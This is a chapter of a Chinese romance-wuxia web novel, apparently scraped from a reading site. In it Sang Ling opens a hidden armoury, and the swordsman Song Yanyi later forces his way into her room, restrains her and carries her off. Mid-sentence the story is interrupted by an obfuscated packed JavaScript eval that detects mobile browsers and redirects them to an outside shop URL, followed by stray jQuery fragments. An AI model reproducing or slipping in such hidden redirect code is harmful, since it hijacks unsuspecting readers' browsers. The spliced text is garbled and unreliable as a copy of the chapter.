90. 上境坊04

作品:《出淤泥而全抹匀

    为了阻挡宋言亦的闯入,子松阁的守卫多多少少都受了伤,血水一盆盆自厢房端出,此起彼伏的痛呼哀叫响彻阁内各个院落。


    幸而大多是轻伤,只见流血未有人亡,施剑之人的每一剑都刻意地避开了致命之处却又令人痛不欲生。


    灵儿,我并未伤及人命。


    宋言亦的言语回荡在桑灵脑内,她倏地感觉胸中窒闷,难以呼吸。


    “感谢灵儿搭救。”


    潘卓散漫不羁的嗓音自身后传来,他虽是一众人中受伤最重的,可也只是青丝被斩右臂划伤。


    如此小伤他并不在意,不仅将赶来包扎的大夫撵走还悠闲肆意地四处闲逛。


    “灵儿不仅救了我,还轻而易举从那少年手中拿到了玲珑佩,想来拿捏男人的手段不容小觑。”


    灵儿…


    如此熟悉的称呼令桑灵不自觉蹙了眉,此人表面言谢实则挖苦,心思并不良善。她自是不懂忍让,冷言回击:


    “不要唤我灵儿,我与潘公子并不熟稔。还有…”


    淡淡瞥了眼他颈部刺目的血痕才凉幽幽补充,“潘公子有这功夫与我闲聊不如多练练剑。”


    “桑灵!你…”


    眼前人果然年纪尚轻,虽一副蔑视万物的模样却被她简短一言激地怒不可遏。桑灵轻笑一声不再搭理,绕过此人去寻潘管事。


    而今玲珑佩已拿到手,她急需试试此物是否如料想般可以开启兵器库的大门。


    “桑姑娘,从子松阁正殿往东南行十里便是此处。”


    随着潘管事的指领,众人步入一置满杂物的厢房。门窗许久未开,潮湿发霉的味道充斥整个鼻腔,潘卓养尊处优显然无法忍受此气味,连忙掩鼻后退,结果踩到了桑灵的裙边。


    冷嗖嗖的瞪视随即传来,接连被鄙视的潘卓自是不服,咬牙切齿,“桑灵!”


    “潘公子多看路,无事不要总唤我。”


    留下此言桑灵头也不回地离开,丝毫未在意身后被气得跳脚之人。


    气死潘卓,易如反掌。


    屋中十分杂乱,灰尘也不少,正中散放着诸多缺了角的案台,角落还堆着不少泛黄卷边的书册。众人寻找许久并未发觉任何机关或暗门,此处似乎只是简简单单堆放杂物的库房。


    潘管事亲力亲为累得直喘气,此刻瘫坐在椅中一动不肯动,


    “桑姑娘,是不是弄错了。或许舫主令牌上的东南十里并非此处,又或者他只是随意刻刻。”


    随意刻刻...


    桑灵深吸一口气平复心底的无奈,沉下心来仔细打量起屋中各物。


    正中是缺了角的书案,北侧有若干少了腿的木凳,西南角则是没了门的方柜,此处明显是用来堆放急需修缮的器物。


    如此一来,东南角一摞又一摞的书册便显得格格不入。


    发觉端倪,桑灵迅速唤人移开了堆放在角落的书册。她疾步走近,俯下身子轻轻敲了敲…


    声音脆亮,有暗门,此处正是潘管事方才尽心竭力搜寻之处。


    “桑姑娘,我...”


    在桑灵灼灼的目光中,潘管事满面赧然却找不到任何解释的言辞。


    他不是没有将书册移开的气力,只是怎么看怎么都觉着书册摆放在那极其妥当合理。


    暗门之后是瞧不见尽头的石阶踏跺,桑灵接过守卫递来的火把,先一步踏入了昏暗之处。未走几步便被撞了个趔趄,差点栽倒。


    罪魁祸首抢走她手中的火把,再好心将人扶稳,


    “如此危险之事怎能让灵儿在前,自然是我奋勇当先。”


    瞧着目中尽是戏谑的潘卓,桑灵抽走袖袍,唇角扯出一抹苦笑,“那潘公子先,不过...”


    她刻意拉长了语调,待那人撞到石壁痛呼出声才十分愉悦地继续,“不过前面已无路。”


    碰了一鼻子灰的潘卓气得想杀人,甚至握紧了手中的冷剑,桑灵并无畏惧还好心告诫,“早些时候我不是说了吗,潘公子走路要看路。”


    “桑灵!”


    在潘卓气急败坏的怒吼中,桑灵连多余的眸光都未施舍,夺回火把径直钻进另一个洞口。


    约摸一刻钟,众人在一巍峨肃穆的石门前顿住了步伐。高约十尺的石门之上盘旋着气势威严的巨龙,龙的珠目竟与玲珑佩极为相似。


    “潘管事,将此玉佩置与巨龙右眼。”


    桑灵后退一步避开石门,潘管事随即借助石壁之力飞跃而上,将玲珑佩扣在巨龙右眼。


    咯吱一声,机关被撬动的声响传来,紧接着眼前巍然耸立的石门一点点开启。


    暗室内整齐排列着众多作战兵器,弓弩矛戟数不胜数,甚至还有火器与战车,黑压压的一片令门外众人震撼不已。


    一切皆如桑灵所料。


    夜幕低垂,面容愁苦的潘管事敲响了桑灵的厢门,深夜拜见虽觉不妥,可心中之事淤堵多年,已到不得不说之时。


    “兵器库已寻到,潘管事为何心情还如此低落?”


    桑灵斟了杯茶给落座之人,那人重重叹了口气才说明来意,


    “而今有了兵器却无作战之人。”


    “舫主失踪后乌思教众散落各国,大多隐居退世,而今真心追随者不足三十万,早已不是当年百万教众的盛况。况且,苍执竟为稳固皇位不断派兵追杀,我们余下之人四处逃亡大多伤病缠身,已无反抗之力。”


    “可不反抗,便是死路一条。”


    潘管事目中泛起晶莹,抿了口茶压住心中波涛涌动的愤慨才继续,


    “苍执竟为政暴虐,百姓不堪忍受疾苦纷纷寻求乌思舫帮助,此事传入他耳中,当日便下了肃杀令。凡乌思舫教众,格杀勿论,片甲不留。”


    “我年事已高已无当年克敌之力,更无排兵布阵之才。卓儿生性倨傲,自诩剑术无敌却不知天外有天,人外有人,如此轻敌之人并非将才。”


    屋内哀叹不断,潘管事双目绯红,嗓音越来越低哑,


    “当初舫主建立乌思舫为解百姓疾苦,而今苍生涂炭,哀鸿遍野,乌思舫却无能为力,甚至自身都难保!”


    言罢,屋中陷入沉寂。


    而今乌思舫无领战之人,无作战之士,无自保之力,潘管事的担忧的确在理。


    桑灵连夜给微安谷的紫苏,雾霭山的深山怪人,乃至哭魂岛的裴逸与徐容卿都去了一封书信,而今正值乌思舫生死存亡的关键之期,她必须全力一博。


    与潘管事商量好后续应对之策,桑灵拖着疲惫不堪的身躯躺入床榻。可闭眼之后,脑海里皆是子松阁大门闭合之时,宋言亦痛苦绝望的双眸。


    辗转难眠,桑灵望着窗柩透入的皎洁月光不知不觉眶目泛了红。不知过了多久,她才褪去杂乱的思绪,缓缓坠入梦乡。


    再次醒来,是因门外轰隆炸响的惊雷与噼里啪啦砸在青砖石板上的雨珠。


    以及,身后炽热滚烫的胸膛…


    桑灵混沌迷离的意识倏地清晰,不可置信地瞧向紧紧箍住自己腰部的大手。


    十指修长,骨节分明,手背的肌肤因太过用力被青色血脉侵袭,牢牢将她扣入他的怀中。


    浓重的血腥味弥漫在桑灵鼻间,她能清晰感受到身后之人如雷的心跳以及耳侧灼热湿黏的气息。


    “宋言亦…”唤出这个名字时,桑灵的嗓音不住发颤,此时此刻她才意识到自己的恐惧。


    子松阁守卫如此森严,他是如何无声无息进入自己厢房的。


    “灵儿,我好想你。”宋言亦软糯的嗓音随即传来,因头深深埋在她的肩窝,还带着浓浓的鼻音,是显而易见的撒娇。


    “宋言亦,你疯了吗?!”


    桑灵用尽全力挣扎,可越挣扎身后之人的桎梏越紧,她的气力相对他来说犹若九牛一毛,不值一提。


    禁锢过深,她甚至能感觉到胸腔的疼痛,不得不放软身子,以此希冀身后之人能放过自己。


    “灵儿,让我抱抱你好不好,我好想你。”


    似是未感受到怀中之人的不愿,他将人牢牢按在怀中,与之紧密相贴。紧扣的双手似是要将她揉入骨血,才可稍微抑制心中的酸涩与不安。


    见她歇了挣扎,宋言亦目中的凄楚慌措变为喜悦,心满意足地蹭了蹭她颈部细嫩的肌肤。


    灵儿与自己不同,哪里都是香香的,如墨的青丝带着馨香,轻软的里衣也散发着幽香,连肩颈处柔嫩的肌肤亦软滑香甜。


    他沉溺在怀中之人的温暖与清香中不可自拔,早已忘记了自己迎着阴冷的雨水而来,满身血污。他贪恋她的气息,控制不住地一点点凑近,轻轻嗅了嗅她发丝的馨香,然后温热的唇舌缓缓下移,慢慢摩挲。


    桑灵随即感觉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13938373|124221||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    到耳侧暧昧的湿意,以及浑浊粗重的呼吸。


    他的气息太过霸道萦绕在枕席之间令她呼吸艰难,头脑混沌。灼热的气流得寸进尺越过耳廓强势地钻入耳道,而后随着血液窜入四肢百骸,带来无尽的痒意与酥麻。


    他的举动过于放肆,桑灵不得不出声阻止:


    “宋言亦,不可以。”


    “灵儿诓骗了我,定是要受些惩罚。”


    他十分在意白日的欺骗,她诱哄着拿走了玲珑佩却不信守承诺同他离开,还将自己狠心地关在门外,任由他绝望痛苦。


    说罢,带着薄茧的指腹扯下了虚虚挂在肩颈的软衣,修长的手指顺着颈部肌肤缓慢向下,流淌过白皙细嫩的背部,带来阵阵痒意。灼热的吻大胆包天的落下,在嫩肩处留下浅浅的一排牙印。


    昏暗不见五指的厢房内,浑浊的呼吸交错,湿润与灼热在桑灵背部蔓延,纤细的指尖控制不住地发颤,连忙抓紧了绣着戏水鸳鸯的锦被,留下无穷无尽的褶皱。


    “宋言亦,你不许再动,快些离开!”


    挣扎的气力变大,宋言亦心不甘情不愿地抬起头。他明明收敛了动作,可怀中之人的挣扎仍不休不止,显然想脱离自己的怀抱。


    “灵儿,我方才闯入时受了伤,我不想要那守卫的性命可他刺伤了我。”


    他将自己被划了一大道血口的右臂抬起,刻意置于她眼前,让她瞧个清楚。


    “你越挣扎我越痛,流了好多血。”


    越说宋言亦的语气越委屈,可怜巴巴地在她耳侧不停哼哼唧唧。


    桑灵眉眼间攀上不忍,倏地停下了所有挣扎的气力。她满目疼惜地回望,竟见那人眸眼晶亮,喜出望外地瞧着自己。


    “我就知晓,灵儿还是心疼我的。”


    说罢他不管不顾地用力将怀中之人抱紧,任凭右臂的伤口血流如注。


    桑灵起身寻找纱布给他包扎,可宋言亦明显不乐意用尽全力将人抱住,于是伤口崩裂,鲜红一股又一股地冒出。


    “宋言亦,你这个疯子!”桑灵气得不行,却动弹不得,只能歇了力道任由他撒野。


    过了许久,待他真的有了痛意,她才重获自由可以下榻寻找包扎之物。


    眼前之人不仅月白的外袍被鲜血浸染,连俊朗的面庞亦残留着血迹。桑灵包扎好他手臂的伤后又清洗了帕子,一点点小心翼翼地帮他擦拭眼睑乃至唇角的鲜红。


    瞧着他唇角的血渍,她的指尖不由发颤,方才亲密相贴,她的背部难道也被他蹭上了鲜红。


    “宋言亦,你真可恶!”桑灵嗔怒抱怨,可又拿他没办法,继续默默擦拭。


    “你不仅仅是手臂受了伤吧。”


    唇角的血渍明显是内伤所致。


    “还被他们围成一圈打了。”


    谈及被打,宋言亦眉眼弯弯十分愉悦。主要是多日未与灵儿贴近,而今所思所想之人近在眼前,还体贴细致地帮他处理伤口,那他受了再多的伤都无所谓。


    “多亏灵儿教他们的制敌阵法,他们一个个比白日英勇多了。”


    桑灵:“……。”


    “说了恩断义绝,谁叫你非要连夜闯入。而今马上破晓,你快些回去,莫要再起争执。”


    处理好伤口桑灵立马冷着脸下了逐客令,宋言亦自是不肯,还颇为霸道地将人牢牢环住。


    “灵儿与我一起走。”他贴着她的面颊,有意无意蹭着鬓角的青丝。


    “宋言亦,我才不会原谅你偷走令牌与玲珑佩之事,更不会同你走。”


    她蛮横地扯开他的桎梏,连退几步,嗓音极冷:“你快些离开,我会对今日你的闯入守口如瓶。”


    “我才不怕子松阁这些守卫,尤其那个潘卓。”宋言亦满目不屑,提及潘卓时更是恨得牙痒痒。


    “宋言亦,我知晓你剑术卓绝无人能敌。可如今是在子松阁内,守卫众多不说阁内更是机关重重,你纵然有天大的功夫也寡不敌众。”


    “灵儿说得极是。”


    知晓桑灵是想让他知难而退,宋言亦目中并无怒意反而是灵光顿现的兴奋,


    “我的确要先将灵儿带离此处才行。”


    什么?


    桑灵还来不及反应便被宋言亦拦腰抱起,无论她如何挣扎都徒劳无功。


    未至破晓,子松阁内已无二人身影。